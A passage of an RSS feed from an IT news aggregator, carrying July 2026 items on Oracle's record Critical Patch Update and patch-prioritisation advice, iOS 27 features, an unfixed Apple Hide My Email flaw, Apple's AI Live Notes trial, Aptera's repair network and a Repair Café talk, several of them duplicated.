<p class="wp-block-paragraph">The July release is the third quarterly Critical Patch Update of 2026, and the first since the <a href="https://www.csoonline.com/article/4179473/oracles-first-monthly-patch-release-fixes-35-flaws-including-11-rated-critical.html">introduction in May</a> of the monthly Critical Security Patch Update program.</p>



<p class="wp-block-paragraph">Gogia said Oracle has effectively layered a second cadence on top of the existing one rather than replacing it.</p>



<p class="wp-block-paragraph">“Quarterly Critical Patch Updates remain and stay cumulative; monthly Critical Security Patch Updates now sit on top,” he said, adding that enterprise adoption of the new rhythm remains low because of “certification obligations, regression exposure and scarce specialist hours.”</p>



<p class="wp-block-paragraph">Dubey made a similar point about organizational readiness: “In large enterprises, patching is rarely a technical problem. It is an operational one. Database administrators, application owners, infrastructure teams, business stakeholders, and change advisory boards all have to align.”</p>



<p class="wp-block-paragraph">Niyati Daftary, principal analyst at Gartner, said the release underscores a broader shift in how patching is approached.</p>



<p class="wp-block-paragraph">“Patching is no longer a race to remediate every vulnerability. It is a discipline of identifying the exposures that matter most and reducing business risk as efficiently as possible,” she said, adding that organizations should prioritize based on exposure, business impact and exploitability, starting with internet-facing assets and mission-critical systems.</p>



<p class="wp-block-paragraph">Daftary pointed to continuous threat exposure management and adversarial exposure validation as increasingly relevant frameworks, since CVSS scores “measure theoretical severity rather than actual enterprise risk.” Patching alone will not be sufficient, Daftary said, and organizations should continue investing in defense in depth, including behavioral threat detection and incident response.</p>



<p class="wp-block-paragraph">Oracle’s next cumulative Critical Patch Update will come on Oct. 20, 2026, with smaller Critical Security Patch Updates on Aug. 18 and Sept. 15.</p>



<p class="wp-block-paragraph"><em>This article first appeared on <a href="https://www.csoonline.com/article/4200184/oracles-july-update-fixes-ten-10-0-vulnerabilities-in-fusion-middleware.html">CSO</a>.</em></p>



<p class="wp-block-paragraph"></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Oracle’s July update fixes ten 10.0 vulnerabilities in Fusion Middleware]]></title>
<description><![CDATA[Oracle’s July 2026 Critical Patch Update, its largest ever, contains 1,449 new security patches spanning 32 product families, from Oracle Database and E-Business Suite to PeopleSoft, GoldenGate, Java SE, and Fusion Middleware.



Fusion Middleware was particularly hard hit, with new security patc...]]></description>
<link>https://tsecurity.de/de/3687303/it-security-nachrichten/oracles-july-update-fixes-ten-100-vulnerabilities-in-fusion-middleware/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687303/it-security-nachrichten/oracles-july-update-fixes-ten-100-vulnerabilities-in-fusion-middleware/</guid>
<pubDate>Wed, 22 Jul 2026 20:33:52 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Oracle’s July 2026 Critical Patch Update, its largest ever, contains 1,449 new security patches spanning 32 product families, from Oracle Database and E-Business Suite to PeopleSoft, GoldenGate, Java SE, and Fusion Middleware.</p>



<p class="wp-block-paragraph">Fusion Middleware was particularly hard hit, with new security patches for 355 security vulnerabilities, 219 of them remotely exploitable without authentication, meaning they can be exploited over a network without requiring user credentials. Ten of them scored a “perfect” 10.0 on the Common Vulnerability Scoring System (CVSS).</p>



<p class="wp-block-paragraph">These included easily exploitable vulnerabilities allowing unauthenticated attackers with network access via HTTP to compromise Oracle Data Integrator, Oracle Access Manager, Oracle HTTP Server, Oracle Platform Security for Java, Oracle WebCenter Content, Service Delivery Platform, or Oracle Weblogic Server Proxy Plug-in,</p>



<p class="wp-block-paragraph">No other products were found to have quite such extreme vulnerabilities, but there were plenty of others scoring almost as badly.</p>



<h2 class="wp-block-heading">Two critical flaws in Oracle Database Server</h2>



<p class="wp-block-paragraph">The most severe flaw Oracle patched in its flagship database product is CVE-2026-61211, a vulnerability in the RDBMS component’s DBMS_CLOUD package with a CVSS score of 9.9.</p>



<p class="wp-block-paragraph">This easily exploitable vulnerability allows a low-privileged attacker having Execute DBMS_CLOUD privilege with network access via Oracle Net to compromise the RDBMS, <a href="https://www.oracle.com/security-alerts/cpujul2026verbose.html" target="_blank" rel="noreferrer noopener">Oracle said in the patch update statement</a>. “While the vulnerability is in RDBMS, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of RDBMS,” it warned.</p>



<p class="wp-block-paragraph">The flaw affects Database Server versions 19.3 through 19.31 and 23.4.0 through 23.26.2.</p>



<p class="wp-block-paragraph">Sanchit Vir Gogia, chief analyst at Greyhound Research, said the 9.9 score should be read as serious but conditional. Exposure depends on configuration, he said: On customer-managed databases, DBMS_CLOUD is absent until installed, and grants and network access lists determine the radius from there. “Where DBMS_CLOUD is broadly granted and reachable, the emergency is real and the window is seventy-two hours; where it is absent, the accelerated database wave will do.”</p>



<p class="wp-block-paragraph">Vibhum Dubey, a cybersecurity researcher and red teamer, said the flaw stood out to him because it checks several boxes that concern defenders.</p>



<p class="wp-block-paragraph">“Database servers often hold an organization’s most valuable data, so even if exploitation is not publicly observed yet, I don’t think this is the kind of issue you leave until the next routine maintenance window if your environment is exposed,” Dubey said.</p>



<p class="wp-block-paragraph">A second Database Server flaw, CVE-2026-47040, affects Connection Manager in Oracle Net Services, is remotely exploitable without credentials. Oracle’s risk matrix lists six Database Product vulnerabilities in this cycle as reachable over a network with no authentication required, the statement added.</p>



<p class="wp-block-paragraph">CVE-2026-7383, an OpenSSL-related TLS vulnerability, affects two products, Database Server and Autonomous Health Framework, since both bundle the same third-party component. Oracle’s advisory notes the Database Server patch for that CVE also resolves 19 related OpenSSL CVEs bundled into the same fix.</p>



<p class="wp-block-paragraph">Oracle GoldenGate received 27 new patches, nine of which do not require authentication to exploit, including CVE-2026-2332, a flaw in the Big Data and Application Adapters component tied to Eclipse Jetty, the statement added.</p>



<p class="wp-block-paragraph">There were also two critical flaws in Oracle’s TimesTen in-memory database.</p>



<p class="wp-block-paragraph">The remainder of the release spans E-Business Suite, WebLogic Server, PeopleSoft, Siebel, JD Edwards, Communications, Retail Applications, Utilities Applications, MySQL, Solaris and VM VirtualBox.</p>



<h2 class="wp-block-heading">Volume repair</h2>



<p class="wp-block-paragraph">Gogia said the volume itself marks a shift.</p>



<p class="wp-block-paragraph">“At 1,449 patches, against 481 in April 2026 and 309 a year earlier, patch load has outgrown the queue built to hold it,” he said. He recommended a tiered response: “The reachable and the reported inside seventy-two hours, the trusted core inside ten days, the rest by risk before the October release.”</p>



<p class="wp-block-paragraph">He also flagged a specific risk in how organizations might triage E-Business Suite. “Oracle’s advisory concedes that E-Business Suite exposure sits partly in underlying Database and Fusion Middleware versions outside the E-Business Suite matrix. The fastest way to mis-prioritise this release is to patch by product logo instead of trust boundary.”</p>



<h2 class="wp-block-heading">Third Tuesday, quarterly cycle</h2>



<p class="wp-block-paragraph">The July release is the third quarterly Critical Patch Update of 2026, and the first since the <a href="https://www.csoonline.com/article/4179473/oracles-first-monthly-patch-release-fixes-35-flaws-including-11-rated-critical.html">introduction in May</a> of the monthly Critical Security Patch Update program.</p>



<p class="wp-block-paragraph">Gogia said Oracle has effectively layered a second cadence on top of the existing one rather than replacing it.</p>



<p class="wp-block-paragraph">“Quarterly Critical Patch Updates remain and stay cumulative; monthly Critical Security Patch Updates now sit on top,” he said, adding that enterprise adoption of the new rhythm remains low because of “certification obligations, regression exposure and scarce specialist hours.”</p>



<p class="wp-block-paragraph">Dubey made a similar point about organizational readiness: “In large enterprises, patching is rarely a technical problem. It is an operational one. Database administrators, application owners, infrastructure teams, business stakeholders, and change advisory boards all have to align.”</p>



<p class="wp-block-paragraph">Niyati Daftary, principal analyst at Gartner, said the release underscores a broader shift in how patching is approached.</p>



<p class="wp-block-paragraph">“Patching is no longer a race to remediate every vulnerability. It is a discipline of identifying the exposures that matter most and reducing business risk as efficiently as possible,” she said, adding that organizations should prioritize based on exposure, business impact and exploitability, starting with internet-facing assets and mission-critical systems.</p>



<p class="wp-block-paragraph">Daftary pointed to continuous threat exposure management and adversarial exposure validation as increasingly relevant frameworks, since CVSS scores “measure theoretical severity rather than actual enterprise risk.” Patching alone will not be sufficient, Daftary said, and organizations should continue investing in defense in depth, including behavioral threat detection and incident response.</p>



<p class="wp-block-paragraph">Oracle’s next cumulative Critical Patch Update will come on Oct. 20, 2026, with smaller Critical Security Patch Updates on Aug. 18 and Sept. 15.</p>



<p class="wp-block-paragraph"><em>This article first appeared on <a href="https://www.csoonline.com/article/4200184/oracles-july-update-fixes-ten-10-0-vulnerabilities-in-fusion-middleware.html">CSO</a>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Oracle’s July update fixes ten 10.0 vulnerabilities in Fusion Middleware]]></title>
<description><![CDATA[Oracle’s July 2026 Critical Patch Update, its largest ever, contains 1,449 new security patches spanning 32 product families, from Oracle Database and E-Business Suite to PeopleSoft, GoldenGate, Java SE, and Fusion Middleware.



Fusion Middleware was particularly hard hit, with new security patc...]]></description>
<link>https://tsecurity.de/de/3687241/it-security-nachrichten/oracles-july-update-fixes-ten-100-vulnerabilities-in-fusion-middleware/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687241/it-security-nachrichten/oracles-july-update-fixes-ten-100-vulnerabilities-in-fusion-middleware/</guid>
<pubDate>Wed, 22 Jul 2026 20:24:17 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Oracle’s July 2026 Critical Patch Update, its largest ever, contains 1,449 new security patches spanning 32 product families, from Oracle Database and E-Business Suite to PeopleSoft, GoldenGate, Java SE, and Fusion Middleware.</p>



<p class="wp-block-paragraph">Fusion Middleware was particularly hard hit, with new security patches for 355 security vulnerabilities, 219 of them remotely exploitable without authentication, meaning they can be exploited over a network without requiring user credentials. Ten of them scored a “perfect” 10.0 on the Common Vulnerability Scoring System (CVSS).</p>



<p class="wp-block-paragraph">These included easily exploitable vulnerabilities allowing unauthenticated attackers with network access via HTTP to compromise Oracle Data Integrator, Oracle Access Manager, Oracle HTTP Server, Oracle Platform Security for Java, Oracle WebCenter Content, Service Delivery Platform, or Oracle Weblogic Server Proxy Plug-in,</p>



<p class="wp-block-paragraph">No other products were found to have quite such extreme vulnerabilities, but there were plenty of others scoring almost as badly.</p>



<h2 class="wp-block-heading">Two critical flaws in Oracle Database Server</h2>



<p class="wp-block-paragraph">The most severe flaw Oracle patched in its flagship database product is CVE-2026-61211, a vulnerability in the RDBMS component’s DBMS_CLOUD package with a CVSS score of 9.9.</p>



<p class="wp-block-paragraph">This easily exploitable vulnerability allows a low-privileged attacker having Execute DBMS_CLOUD privilege with network access via Oracle Net to compromise the RDBMS, <a href="https://www.oracle.com/security-alerts/cpujul2026verbose.html">Oracle said in the patch update statement</a>. “While the vulnerability is in RDBMS, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of RDBMS,” it warned.</p>



<p class="wp-block-paragraph">The flaw affects Database Server versions 19.3 through 19.31 and 23.4.0 through 23.26.2.</p>



<p class="wp-block-paragraph">Sanchit Vir Gogia, chief analyst at Greyhound Research, said the 9.9 score should be read as serious but conditional. Exposure depends on configuration, he said: On customer-managed databases, DBMS_CLOUD is absent until installed, and grants and network access lists determine the radius from there. “Where DBMS_CLOUD is broadly granted and reachable, the emergency is real and the window is seventy-two hours; where it is absent, the accelerated database wave will do.”</p>



<p class="wp-block-paragraph">Vibhum Dubey, a cybersecurity researcher and red teamer, said the flaw stood out to him because it checks several boxes that concern defenders.</p>



<p class="wp-block-paragraph">“Database servers often hold an organization’s most valuable data, so even if exploitation is not publicly observed yet, I don’t think this is the kind of issue you leave until the next routine maintenance window if your environment is exposed,” Dubey said.</p>



<p class="wp-block-paragraph">A second Database Server flaw, CVE-2026-47040, affects Connection Manager in Oracle Net Services, is remotely exploitable without credentials. Oracle’s risk matrix lists six Database Product vulnerabilities in this cycle as reachable over a network with no authentication required, the statement added.</p>



<p class="wp-block-paragraph">CVE-2026-7383, an OpenSSL-related TLS vulnerability, affects two products, Database Server and Autonomous Health Framework, since both bundle the same third-party component. Oracle’s advisory notes the Database Server patch for that CVE also resolves 19 related OpenSSL CVEs bundled into the same fix.</p>



<p class="wp-block-paragraph">Oracle GoldenGate received 27 new patches, nine of which do not require authentication to exploit, including CVE-2026-2332, a flaw in the Big Data and Application Adapters component tied to Eclipse Jetty, the statement added.</p>



<p class="wp-block-paragraph">There were also two critical flaws in Oracle’s TimesTen in-memory database.</p>



<p class="wp-block-paragraph">The remainder of the release spans E-Business Suite, WebLogic Server, PeopleSoft, Siebel, JD Edwards, Communications, Retail Applications, Utilities Applications, MySQL, Solaris and VM VirtualBox.</p>



<h2 class="wp-block-heading">Volume repair</h2>



<p class="wp-block-paragraph">Gogia said the volume itself marks a shift.</p>



<p class="wp-block-paragraph">“At 1,449 patches, against 481 in April 2026 and 309 a year earlier, patch load has outgrown the queue built to hold it,” he said. He recommended a tiered response: “The reachable and the reported inside seventy-two hours, the trusted core inside ten days, the rest by risk before the October release.”</p>



<p class="wp-block-paragraph">He also flagged a specific risk in how organizations might triage E-Business Suite. “Oracle’s advisory concedes that E-Business Suite exposure sits partly in underlying Database and Fusion Middleware versions outside the E-Business Suite matrix. The fastest way to mis-prioritise this release is to patch by product logo instead of trust boundary.”</p>



<h2 class="wp-block-heading">Third Tuesday, quarterly cycle</h2>



<p class="wp-block-paragraph">The July release is the third quarterly Critical Patch Update of 2026, and the first since the <a href="https://www.csoonline.com/article/4179473/oracles-first-monthly-patch-release-fixes-35-flaws-including-11-rated-critical.html">introduction in May</a> of the monthly Critical Security Patch Update program.</p>



<p class="wp-block-paragraph">Gogia said Oracle has effectively layered a second cadence on top of the existing one rather than replacing it.</p>



<p class="wp-block-paragraph">“Quarterly Critical Patch Updates remain and stay cumulative; monthly Critical Security Patch Updates now sit on top,” he said, adding that enterprise adoption of the new rhythm remains low because of “certification obligations, regression exposure and scarce specialist hours.”</p>



<p class="wp-block-paragraph">Dubey made a similar point about organizational readiness: “In large enterprises, patching is rarely a technical problem. It is an operational one. Database administrators, application owners, infrastructure teams, business stakeholders, and change advisory boards all have to align.”</p>



<p class="wp-block-paragraph">Niyati Daftary, principal analyst at Gartner, said the release underscores a broader shift in how patching is approached.</p>



<p class="wp-block-paragraph">“Patching is no longer a race to remediate every vulnerability. It is a discipline of identifying the exposures that matter most and reducing business risk as efficiently as possible,” she said, adding that organizations should prioritize based on exposure, business impact and exploitability, starting with internet-facing assets and mission-critical systems.</p>



<p class="wp-block-paragraph">Daftary pointed to continuous threat exposure management and adversarial exposure validation as increasingly relevant frameworks, since CVSS scores “measure theoretical severity rather than actual enterprise risk.” Patching alone will not be sufficient, Daftary said, and organizations should continue investing in defense in depth, including behavioral threat detection and incident response.</p>



<p class="wp-block-paragraph">Oracle’s next cumulative Critical Patch Update will come on Oct. 20, 2026, with smaller Critical Security Patch Updates on Aug. 18 and Sept. 15.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[iOS 27 Code Points to Rumored iPhone Ultra With Dual Batteries]]></title>
<description><![CDATA[iOS 27 beta code references an iPhone with two batteries, adding another software clue to Apple’s rumored foldable iPhone and repair plans.
The post iOS 27 Code Points to Rumored iPhone Ultra With Dual Batteries appeared first on TechRepublic.]]></description>
<link>https://tsecurity.de/de/3686792/it-nachrichten/ios-27-code-points-to-rumored-iphone-ultra-with-dual-batteries/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686792/it-nachrichten/ios-27-code-points-to-rumored-iphone-ultra-with-dual-batteries/</guid>
<pubDate>Wed, 22 Jul 2026 17:10:56 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>iOS 27 beta code references an iPhone with two batteries, adding another software clue to Apple’s rumored foldable iPhone and repair plans.</p>
<p>The post <a href="https://www.techrepublic.com/article/news-ios-27-dual-battery-foldable-iphone/">iOS 27 Code Points to Rumored iPhone Ultra With Dual Batteries</a> appeared first on <a href="https://www.techrepublic.com/">TechRepublic</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[How to use iOS 27 Recovery Mode before erasing or restoring your iPhone]]></title>
<description><![CDATA[Apple's iOS 27 recovery screen offers iPhone and iPad users a better first step when a device won't start, especially without a computer nearby. Here's how to open it, which repair option to try first, and when computer-based recovery is still safer.iOS 27 Recovery ModeA failed startup is one of ...]]></description>
<link>https://tsecurity.de/de/3685164/ios-mac-os/how-to-use-ios-27-recovery-mode-before-erasing-or-restoring-your-iphone/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685164/ios-mac-os/how-to-use-ios-27-recovery-mode-before-erasing-or-restoring-your-iphone/</guid>
<pubDate>Wed, 22 Jul 2026 04:56:12 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple's <a href="https://appleinsider.com/inside/ios-27" title="iOS 27" data-kpt="1">iOS 27</a> recovery screen offers iPhone and iPad users a better first step when a device won't start, especially without a computer nearby. Here's how to open it, which repair option to try first, and when computer-based recovery is still safer.<br><br><div><img src="https://photos5.appleinsider.com/gallery/68274-143961-5A3FED8D-1C11-4FC2-A9C9-30A347061130-xl.jpg" alt="iPhone screen showing Restore Your iPhone options, including Recovery Assistant, Software Update, Diagnostics Mode, Erase All Content and Settings, and Recovery Mode, against a colorful purple, pink, and orange gradient background" height="738"><span>iOS 27 Recovery Mode</span></div><br>A failed startup is one of those iPhone problems that immediately feels worse than it may actually be. The device can sit on the Apple logo, restart in a loop or refuse to finish booting after an update.<br><br>Before iOS 27, most users eventually ended up connecting the device to a computer and working through Recovery Mode. The iOS 27 and <a href="https://appleinsider.com/inside/ipados-27" title="iPadOS 27" data-kpt="1">iPadOS 27</a> public betas add a recovery screen that puts several troubleshooting tools directly on the affected device.<br><br>The new recovery screen matters most for people who use an iPhone or iPad as their main computer. Recovery Assistant and Software Update may get the device running again without immediately erasing it, while Diagnostics Mode can show whether software recovery is worth attempting.<br><br><br> <a href="https://appleinsider.com/inside/ios-27/tips/how-to-use-ios-27-recovery-mode-before-erasing-or-restoring-your-iphone?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/245018?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Hide My Email flaw still worked two weeks after Apple's claimed fix]]></title>
<description><![CDATA[Apple says it fixed a vulnerability that could expose real addresses behind Hide My Email on or around July 3, but we reproduced the flaw two weeks after the company's claimed repair date.Apple's Hide My Email serviceThe company told 404 Media that it deployed a patch on July 3, 2026, and fully r...]]></description>
<link>https://tsecurity.de/de/3684598/ios-mac-os/hide-my-email-flaw-still-worked-two-weeks-after-apples-claimed-fix/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684598/ios-mac-os/hide-my-email-flaw-still-worked-two-weeks-after-apples-claimed-fix/</guid>
<pubDate>Tue, 21 Jul 2026 20:15:42 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple says it fixed a vulnerability that could expose real addresses behind Hide My Email on or around July 3, but we reproduced the flaw two weeks after the company's claimed repair date.<br><br><div><img src="https://photos5.appleinsider.com/gallery/68316-144010-IMG_0354-xl.jpg" alt="iPad screen showing iCloud settings with a centered Hide My Email popup dialog, including a blue mail icon, explanatory text, and blurred fields for generating and labeling a private email address" height="738"><span>Apple's Hide My Email service</span></div><br>The company told <em>404 Media</em> that it deployed a patch on July 3, 2026, and fully resolved the vulnerability. <em>AppleInsider</em> successfully reproduced the behavior on July 17.<br><br>Our test found that a sender who possessed a specific Hide My Email alias could reveal the real address behind it with much technical knowledge.<br><br>We've reached out to Apple about the matter. We will update when we hear back from the company on the matter.<br><br><br> <a href="https://appleinsider.com/articles/26/07/21/hide-my-email-flaw-still-worked-two-weeks-after-apples-claimed-fix?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/245014?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple Tests AI Live Notes for Genius Bar Customer Sessions]]></title>
<description><![CDATA[Apple is testing a new AI-powered Live Notes system at select retail stores, allowing Genius Bar employees to record, transcribe, and summarize customer conversations during support appointments. The company designed the feature to reduce manual note-taking and help employees focus more closely o...]]></description>
<link>https://tsecurity.de/de/3681771/ios-mac-os/apple-tests-ai-live-notes-for-genius-bar-customer-sessions/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681771/ios-mac-os/apple-tests-ai-live-notes-for-genius-bar-customer-sessions/</guid>
<pubDate>Mon, 20 Jul 2026 19:04:42 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple is testing a new AI-powered Live Notes system at select retail stores, allowing Genius Bar employees to record, transcribe, and summarize customer conversations during support appointments. The company designed the feature to reduce manual note-taking and help employees focus more closely on the customer’s issue.



Bloomberg’s Mark Gurman reports that the system creates a transcript of the conversation and adds it to the employee’s iPad as part of the repair or support record. Employees can review and edit both the transcript and summary before saving the information to Apple’s internal Genius Bar system.



The Live Notes feature requires consent from both the customer and the Apple Store employee before recording begins. Apple has also told staff that the original recordings will not be stored and that store managers will not receive access to the transcripts.



Some retail employees still worry that Apple could later use the system for staff coaching or performance reviews, even though the current test does not support those uses. The program remains optional, and Apple has not confirmed whether it will expand Live Notes to more stores or make the feature mandatory in the future.]]></content:encoded>
</item>
<item>
<title><![CDATA[Aptera Announces US-Wide Repair Network for Its Upcoming Solar Electric Car]]></title>
<description><![CDATA[Solar car maker Aptera has "officially announced a repair network partnership which will give owners of its upcoming solar electric car access to thousands of repair shops nationwide," reports Electrek:



We recently got a chance to drive the Aptera solar EV and tour the company's factory, and c...]]></description>
<link>https://tsecurity.de/de/3679806/it-security-nachrichten/aptera-announces-us-wide-repair-network-for-its-upcoming-solar-electric-car/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679806/it-security-nachrichten/aptera-announces-us-wide-repair-network-for-its-upcoming-solar-electric-car/</guid>
<pubDate>Sun, 19 Jul 2026 19:44:52 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Solar car maker Aptera has "officially announced a repair network partnership which will give owners of its upcoming solar electric car access to thousands of repair shops nationwide," reports Electrek:



We recently got a chance to drive the Aptera solar EV and tour the company's factory, and came away both impressed at the progress that has been made, but cognizant of the long road ahead for the company. One question that often gets raised in reference to EV startups is how owners get service on their vehicles, especially those from a small company... So to waylay those fears, Aptera announced a partnership today that unlocks access to 4,300 service shops across the US, through a company called RepairPal. Aptera had been working on this partnership when we saw them at our factory tour, but today they're ready to officially announce it. 
RepairPal doesn't own its own shops, but instead certifies local shops to work on particular models of car... All shops will get access to Aptera-specific service procedures.
<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Aptera+Announces+US-Wide+Repair+Network+for+Its+Upcoming+Solar+Electric+Car%3A+https%3A%2F%2Ftech.slashdot.org%2Fstory%2F26%2F07%2F19%2F0559215%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Ftech.slashdot.org%2Fstory%2F26%2F07%2F19%2F0559215%2Faptera-announces-us-wide-repair-network-for-its-upcoming-solar-electric-car%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://tech.slashdot.org/story/26/07/19/0559215/aptera-announces-us-wide-repair-network-for-its-upcoming-solar-electric-car?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Aptera Announces Nationwide Repair Network For Its Upcoming Solar Electric Car]]></title>
<description><![CDATA[Solar car maker Aptera has "officially announced a repair network partnership which will give owners of its upcoming solar electric car access to thousands of repair shops nationwide," reports Electrek:



We recently got a chance to drive the Aptera solar EV and tour the company's factory, and c...]]></description>
<link>https://tsecurity.de/de/3679728/it-security-nachrichten/aptera-announces-nationwide-repair-network-for-its-upcoming-solar-electric-car/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679728/it-security-nachrichten/aptera-announces-nationwide-repair-network-for-its-upcoming-solar-electric-car/</guid>
<pubDate>Sun, 19 Jul 2026 17:53:38 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Solar car maker Aptera has "officially announced a repair network partnership which will give owners of its upcoming solar electric car access to thousands of repair shops nationwide," reports Electrek:



We recently got a chance to drive the Aptera solar EV and tour the company's factory, and came away both impressed at the progress that has been made, but cognizant of the long road ahead for the company. One question that often gets raised in reference to EV startups is how owners get service on their vehicles, especially those from a small company... So to waylay those fears, Aptera announced a partnership today that unlocks access to 4,300 service shops across the US, through a company called RepairPal. Aptera had been working on this partnership when we saw them at our factory tour, but today they're ready to officially announce it. 
RepairPal doesn't own its own shops, but instead certifies local shops to work on particular models of car... All shops will get access to Aptera-specific service procedures.
<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Aptera+Announces+Nationwide+Repair+Network+For+Its+Upcoming+Solar+Electric+Car%3A+https%3A%2F%2Ftech.slashdot.org%2Fstory%2F26%2F07%2F19%2F0559215%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Ftech.slashdot.org%2Fstory%2F26%2F07%2F19%2F0559215%2Faptera-announces-nationwide-repair-network-for-its-upcoming-solar-electric-car%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://tech.slashdot.org/story/26/07/19/0559215/aptera-announces-nationwide-repair-network-for-its-upcoming-solar-electric-car?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Repair Cafés: Come for the Soldering, Stay for the Stories (emf2026)]]></title>
<description><![CDATA[What is a Repair Café and why should you take part in one?

Fighting against the throwaway society, Repair Cafes bring together local people with broken or worn items and volunteer fixers with the skills to repair them.

We fix things like clothes, furniture, appliances, electronics and toys.

If...]]></description>
<link>https://tsecurity.de/de/3679341/it-security-video/repair-cafs-come-for-the-soldering-stay-for-the-stories-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679341/it-security-video/repair-cafs-come-for-the-soldering-stay-for-the-stories-emf2026/</guid>
<pubDate>Sun, 19 Jul 2026 12:48:20 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[What is a Repair Café and why should you take part in one?

Fighting against the throwaway society, Repair Cafes bring together local people with broken or worn items and volunteer fixers with the skills to repair them.

We fix things like clothes, furniture, appliances, electronics and toys.

If you’re a maker at EMF then your skills with a soldering iron could be valuable - or so you’d think.
But you’ll find that it’s much more about how to take things apart (and put them back together again), finding what’s broken, and just having a nice chat with someone while you do it.

Our café has been going for 3 years. We’ve repaired hundreds of items, saved tonnes of waste from landfill and donated thousands of pounds to local charities.

I’ll share stories of the most interesting repairs, successful and less successful.
And of the people who run the café as well as the visitors

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/152-repair-caf%C3%A9s-come-for-the-soldering-stay-for-the-stories]]></content:encoded>
</item>
<item>
<title><![CDATA[Repair Cafés: Come for the Soldering, Stay for the Stories (emf2026)]]></title>
<description><![CDATA[What is a Repair Café and why should you take part in one?

Fighting against the throwaway society, Repair Cafes bring together local people with broken or worn items and volunteer fixers with the skills to repair them.

We fix things like clothes, furniture, appliances, electronics and toys.

If...]]></description>
<link>https://tsecurity.de/de/3679324/it-security-video/repair-cafs-come-for-the-soldering-stay-for-the-stories-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679324/it-security-video/repair-cafs-come-for-the-soldering-stay-for-the-stories-emf2026/</guid>
<pubDate>Sun, 19 Jul 2026 12:32:56 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[What is a Repair Café and why should you take part in one?

Fighting against the throwaway society, Repair Cafes bring together local people with broken or worn items and volunteer fixers with the skills to repair them.

We fix things like clothes, furniture, appliances, electronics and toys.

If you’re a maker at EMF then your skills with a soldering iron could be valuable - or so you’d think.
But you’ll find that it’s much more about how to take things apart (and put them back together again), finding what’s broken, and just having a nice chat with someone while you do it.

Our café has been going for 3 years. We’ve repaired hundreds of items, saved tonnes of waste from landfill and donated thousands of pounds to local charities.

I’ll share stories of the most interesting repairs, successful and less successful.
And of the people who run the café as well as the visitors

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/152-repair-caf%C3%A9s-come-for-the-soldering-stay-for-the-stories]]></content:encoded>
</item>
<item>
